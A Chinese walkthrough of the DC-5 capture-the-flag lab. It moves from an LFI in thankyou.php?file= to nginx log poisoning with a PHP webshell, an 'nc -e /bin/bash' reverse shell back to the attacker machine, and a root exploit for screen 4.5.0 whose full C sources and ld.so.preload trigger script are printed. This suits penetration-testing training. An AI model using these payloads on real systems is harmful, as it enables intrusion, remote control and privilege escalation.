下载地址:链接:https://pan.baidu.com/s/1IyhlH4k-fcz6ze6TscUYJg?pwd=ibiy
提取码:ibiy
点击重试
将桥接模式更改为nat
点击开启虚拟机
选择是
看到login就代表着登录成功 了
nmap -sP 192.168.222.0/24
这里由于我的网段是222所有我使用nmap -sP 192.168.222.0/24对整个网段存活的主机进行扫描
你的网段是多少就写多少,比如说如果你的网段是192.168.111.xxx。你就写192.168.111.0/24就可以了 以此类推。
由于我们Dc-5是后面搭建的,所以dhcp在分配的时候一般都是分的是后面的,也就是最大的数值。我 这里最大的数值是185,所以我初步判断dc-5的ip地址是192.168.222.185
nmap -sV 192.168.222.185
对ip地址进行详情的版本扫描
发现开发端口 80,和111。
80一看就是web服务端口,所以我们就可以直接去访问。
这里我们不选择去111端口的原因是为什么呢?
因为刚开始我看到这个111端口也是非常激动的,当时经过一系列的测试发现这个111端口只是个障眼法,所以你们就不要去了。
对前面四个页面进行观察,发现没有什么可疑利用 的点。
知道 来到第五个页面。发现他有个类似表单的地方。
然后随便写点数据进行提交看看
发现他会跳到有个thnk.you.php的界面 。并且把我们刚刚输入的值进行了传参。
那么传参的话到这里我的觉得既然有数据交互的地方那么会不会这里就存在sql注入和xss的漏洞。
而xss的触发条件是对方必须要触发这个条件我们就达不到了,所以我选择了sql注入。但是我在sql注入的时候,我先使用了sqlmap去跑,但是发现没有。于是我选择了手工是测试,在手工测试的时候还是没有找到漏洞。但是在我手工注入的时候发现了一个问题。就是发现页面有一个地方一直在刷新变化,每次我一提交他就变化一次。
第一次提交
下方是Copyright © 2018
再次进行第二次提交
第二次提交 下方是Copyright © 2019
那么这个opyright © 2019是 怎么来的呢?为什么他会发生变化呢?
来看以下这张图
1.一般我们会把绿色的部分称之为表头或者导航栏
2.把黄色的内容称之为内容
3.蓝色的部分称之为页脚
4.像有时候我们会发现在很多页面里面这个导航栏或者页脚这两者他可能是被写好然后包含在其他页面当中的,因为这两个页面都一样,比如说我有10个页面,这10个页面的页脚和导航栏都一样。
5.像这种情况下开发者就可以提前写好,这两个页面。比如说导航栏通常开发者都以head.php又或者叫nav.php来命令。而页脚的话的话常开发者都以footer.php又或者foot.php来此命名。那么到底他叫什么我们只能靠猜
假如说他的整体页面叫thankyou.php那么我们在代码中又该怎么完成呢?
看以下图片
假设我们想在代码中去完成thankyou.php的时候,如果导航栏和页脚都是现成的话,一般开发者都会使用include进行包含,比如说他的导航栏叫head,那么开发就会include('head.php'),比如说他的页脚叫foot.php,那么开发者就会inclde('foot.php').这样我们的导航栏和页脚就不用再写了,直接调用就行。但是这只是我们一种猜测,为了能够复用,所以可以做文件包含。
并且当我们刷新页面时,会发现这里一直在变动 。
那么如果他写死的话,比如说他写死的内容是“Copyright © 2017”,那么这个Copyright © 2017他就不会一直变动,一会变成2017一会变成2020...,所以根据他的页面的效果来判断,高度怀疑他存在include('foot.php')这种文件包含。但是他底部的文件包含,也就是页尾的文件包含,他的文件到底是叫foot.php还是footer.php还是其他的文件名,我们都不知道。当然这只是我的怀疑,他只是存在文件包含,所以还得经过尝试他可以确定。那么如果怀疑的话文件包含他是需要传参的,参数又该如何写呢?一般情况下参数的写法应该是thankyou.php?file=foot.php.。但是file和foot.php都是我们假设的参数名。file是我们假设的键名,foot.php也是 我们假设的键值。所以如果假设他是我们设定的thankyou.php?file=foot.php.。那么foot.php就是传递进来的值,那么就可以做文件包含了。所以这里也是可能存在文件传参的,那么如果存在参数传递的话这时候就好办了,那么说明他一定存在了文件包含漏洞。但是以上都是我们的猜测,到底他是不是采用的我们假设的这种方式,我们需要不断的去尝试。现在我们就需要去尝试猜测他页脚的文件的文件名到底是什么
dirsearch安装和使用_小小小维的博客-CSDN博客
命令:
python dirsearch.py -u 你DC-5的ip地址
(由于我下午突然系统奔溃了ip也重新分配了,怕一些初学者看不懂我这里备注下,御剑刚刚才发现也没了。你们自己安装下也可以的。你也可以只使用dirsearch,我用两个是为了双保险,看有没有别的东西没有扫到的,所以用两个。)
注意这里,他扫描出来了一个footer.php。对他进行访问
再次刷新页面,我们可以出他的变化和我们在thankyou.php的变化是比较相识的
怀疑在thank.you.php的文件中包含了footer.php,而且通过传参是可以传递进来的。
那么现在路径和文件名我们知道了,键值也知道了,但是键名我们还是不得而已
已知信息组成的url
thankyou.php?xxx=footer.php。
所以下一步我们就要对这个xxx键名进行猜测
使用kali自带的fuzz:
首先我们先要确定这个网站已经存在的文件,比如index.php,还有solutions.php等。
我是已经知道他的键名是file。
##http://192.168.189.129/thankyou.php?file=index.php
先来访问这个url
这是thankyou.php的界面,键名是file。键值是index.php。
重点这个index.php因为index.php是确定存在的文件,如果这里存在文件包含的漏洞,那么我们这个这个index.php一定会被包含进去了。
注意这张图片,绿色的部分是我们原来thankyou.php的界面。而红色的部分是index.php的界面。那么这个界面是怎么来的,就是通过我们 ##http://192.168.189.129/thankyou.php?file=index.php,这里传参进来的,把首页的index.php的代码,放在thankyou.php这个界面进行解析了。
以上我们知道他键名file的情况下,那么 在不知道键名的情况下我们又改如何操作?
使用wfuzz工具kali自带
打开kali,直接在kali终端输入:wfuzz
命令:FUZZ
这里如果报错的话你就切换root使用
命令:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.189.129/thankyou.php?FUZZ=index.php
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.189.129/thankyou.php?FUZZ=index.php wfuzz:程序 -w :指定文件 /usr/share/wfuzz/wordlist/general/common.txt:这个文件是系统自带的,用就行了 http://192.168.189.129:你自己设置DC-5的ip地址 thankyou.php?FUZZ=index.php :确定网站目录下有个存在的文件index.php 用FUZZ这个关键词当作一个未知的东西,然后使用 /usr/share/wfuzz/wordlist/general/common.txt 这里的字典, 放在FUZZ的位置上不断的去跑。如果还你不理解的话 ,你就把fuzz这个当作为bp中你设置的变量, /usr/share/wfuzz/wordlist/general/common.txt就是你指定的爆破字典
来看这条结果。明显值和其他数值的不一样。所以我们通过关键词是file。
或者你可以使用fuzz的字典。然后用bp去跑
直接把fuzz的字典复制下来。
发送到Intruder模块中
将fuzz设置为一个变量
载入你刚刚复制好了fuzz字典
点击开始
手工:
url地址中有包含漏洞的特征键名:
?file=
?filename=
?home=
?path=
?page=
我们就可以根据这些常见的键名进行测试。
比如说我使用?file。那么进行测试的url就应该是:
#####http://192.168.189.129/thankyou.php?file=footer.php
以上确定键名为file
url:##http://192.168.189.129/thankyou.php?file=/etc/passwd
意味着现在我们通过文件包含拿到了服务器上的用户信息 。
但是仅仅只是看到信息,我们的目标是使用webshell的工具去控制他,可是我们从前面的页面来看并没有可以上传地方。那么应该怎么办呢?我们可以仔细的想一想,在之前信息收集的环节,我们收集到的信息是nginx的服务器,而不管是nginx还是apche等服务器,她们都有服务器日志记录,并且他们都有默认的路径。比如nginx的是/var/log/nginx/access.log,apahce的/var/log/apache/access.log,是只要他没有修改我们就可以去访问他的日志。不管你访问的是acces.log还是error.log都可以
那么访问的日志意义又何在呢,又和上传webshell又什么关系呢?
我们知道如果我们访问一个不存在的目录网页就会出现404的错误,并且会把这个错误的信息记录到access.log的日志中去,那么我们就可以利用这种思路。我们故意写一个错误的目录,然后在后面加上一句话代码。比如http://xxxx/ok ,那么他就会把整个错误的信息记录到日志中去,就比如我们写的ok ,既然他会记录到日志中去,那么日志是不是在他的服务器中,只我们的写代码可以被解析成功,我们就可以植入后门成功。
注意 :
这里不管你访问的是/var/log/nginx/access.log,还是/var/log/nginx/error.log,你需要注意的是access,log是记录你各种请求的日志,比如200,404,306等他是都可以记录的,你在上传webshell的时候可以随便写一个不存在的文件,或者直接写一句话木马都可以。然后你去访问/var/log/nginx/access.log,的时候都可以看到,比如说http:xxxx/wsxcwe,也可以解析成功。但是如果你访问和上传webshell的地方是/var/log/nginx/error.log,那么你需要写一个存在的文件,比如http://xxxx/thanyou.php?xx,你才可以 在/var/log/nginx/error.log,可以看到你写的这条记录
url:#http://192.168.189.129/thankyou.php?file=/var/log/nginx/access.log
从页面可以看出他的默认日志路径没有更改,并且给我们返回的结果。
开启bp抓包,发送数据包。
这里需要注意的是你不要在url中直接输入一句话木马,要不然会被url编码的!
在bp拦截下来然后在里面写一句话代码!!!
注意这里。此时我们的一句话木马已经写入进去了。为什么没有显示,说明这个代码已经被执行了也解析成功了。
这里不推荐菜刀的原因是,菜刀只能连接windos,而蚁剑可以跨平台。所以选择蚁剑
url的地址就是你一句话木马被记录的日志地址,如果你是被access.log记录的就写access.log的地址,如果你是erro.log的话就写erro.log的地址。
密码就是你一句话密码设置的参数,我设置的是x。我就写x。
此时就连接成功。成功进入到dc-5靶场的web目录中了
我们对目录进行查看。发现部分目录都可以查看成功。
但是查看root目录的时候是看不到的,提示我们没有root权限。
输入whoami
发现我们当前只是网站用户,并不是root用户。
所以目前我们只能进入到web服务器上面 ,要执行的操作也是具备一定的限制的。因为我们不是root用户,只是一个www-data,只是一个网站用户,既然没有操作权限,那么只能提权,进行系统 渗透
连接的目的是因为kali上的工具较多
命令:nc-lvvp 1234
这里意味着在kali启动了1234端口,等待dc-5去连他。
小复习:
一般,正向连接指的是攻击机连接靶机
反向连接指的是攻击机启动监听,等待靶机的连接。(用的较多,nc就是一款反向连接的工具)
命令: nc -e/bin/bash 你kail的ip地址 1234
出现connect代表连接成功。
这时候无论是kali还是蚁剑都能够连接dc-5了。
命令:
python -c 'import pty;pty.spawn("/bin/bash")'
所以什么叫交互呢?
就是无论你输入whomi还是id他都会有对应的结果。
那么通过kali连接dc-5和通过蚁剑连接dc-5是一样的,就是真机可以对dc-5他做控制,我们kali也能够对dc-5对他做控制。所以我们如果只看命令行工具的话,这两者的功能是重复的,那么我们蚁剑既然已经可以连接虚拟终端了,为什么还需要kali呢?
因为kali本身他攻击的工具更多,脚本更全面。蚁剑里面没有更多的工具,所以我们接下来的步骤还是要根据kali进行操作。两者结合起来之后,我们最终的目的就是拿到dc-5的管理权限。
命令:find / -perm -u=s -type f 2>/dev/null
find / :代表着我要在整个操作系统里面去找
-perm -u=s:代表着要找拥有suid文件的权限
-type f: 代表着是文件
2>/dev/null: 2叫错一个错误输出,输出到/dev,dev我们知道是设备,而null就是没有设备,换句话来说就是我不显示任何的错误输出
以上列出的文件,都是具有suid权限的文件,意外着我们就要对这些文件做相关的操作了
而在这些文件中,我们主要利用的是/bin/screen-4.5.0这个
screen他是一个软件,这个软件是有漏洞的,并且这个软件安装到了dc-5里面了,我们可以通过dc-5上面安装的screen这个软件进行提权。
为什么确定是screen有漏洞呢?
你自己网上一搜就出来了。
这里一定要 注意啊!重新打开一个新的终端,不要使用我们之前的终端里进行操作!!!!
命令:searchsploit screen 4.5.0
补充:
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。
基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。
详情参考:searchsploit使用_Blankup的博客-CSDN博客
红色框被选中的后面写了个(Poc)的,Poc是验证的,验证在我们的目标上有没有这个漏洞,但是他不会攻击,只是相关的验证而已。如果你要攻击的话就要选择上面绿色的,他是exp脚本,这个脚本是41154.sh,我们使用他才可以进行攻击。那么针对于screnn4.5.0的攻击结果就是提权,也就是针对dc-5进行提权,拿到dc-5的root权限!
命令:searchsploit -m 41154
出现以上的内容代表复制成功。
命令: cat 41154.sh
libhax.c的内容:(第一个文件)
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
命令:gcc -fPIC -shared -ldl -o libhax.so libhax.c
用来生产动态库文件libhax.so
.so是库文件,-o代表输出,使用.c文件 生成.so文件
不用管这个警告
使用ls查看。
libhax.so代表生成成功。
这是第一个文件,他是通过.c文件编译生成的
rootshell.c的文件内容:(第二个文件内容)
#include
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL);
}
此时我们使用.c文件 生成二进制文件成功了
命令:gcc -o rootshell rootshell.c
ctrl s保存退出。
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
如果你想要进行提权的话,需要将libhax.so,rootshell,dc5.sh这三个文件上传到dc-5靶场里面。
这里我由于是把这三个文件放在root的目录下,如果你出现以下这种情况
你就把这三个文件先复制到kali的桌面上
然后在把这三个文件从桌面复制到winods中
找到/根目录,在根目录下找到tmp这个目录
右键上传文件
把这三个文件上传上去。
通过上传到dc-5靶场中
命令:ls /tmp
你也可以在蚁剑的虚拟终端看
反正只要出现这三个文件就可以了 。
命令 :cd /tmp
先进入到tmp中去。
命令:chmod +x dc5.sh
给dc5.sh文件添加可执行权限
命令:./dc5.sh
出现#代表成功
注意的点:
前面我在做在这里的时候一直报一个错误,就是类似/lib64/libc.so.6: version GLIBC_2.XX' not found这样的一个报错。我做了4遍从头到尾,一直以为哪里出错了。第一次和第二次我都是用的22年版本的kali,出现这个错误。后面我又换了23年的kali还是出现这个错误。直到第四次我使用了21年的kali他就可以正常执行了。
所以如果你做到这里出现这个问题了,可以直接选择换成2021版本的kali。还有要注意的是,换成2021的kali后,直接使用root账户登录做实验!
命令:cd /root
切换到root目录下
查看thisistheflag.txt这个文件
命令:cat thisistheflag.txt
看到以上界面代表成功。你拿下flag了!!!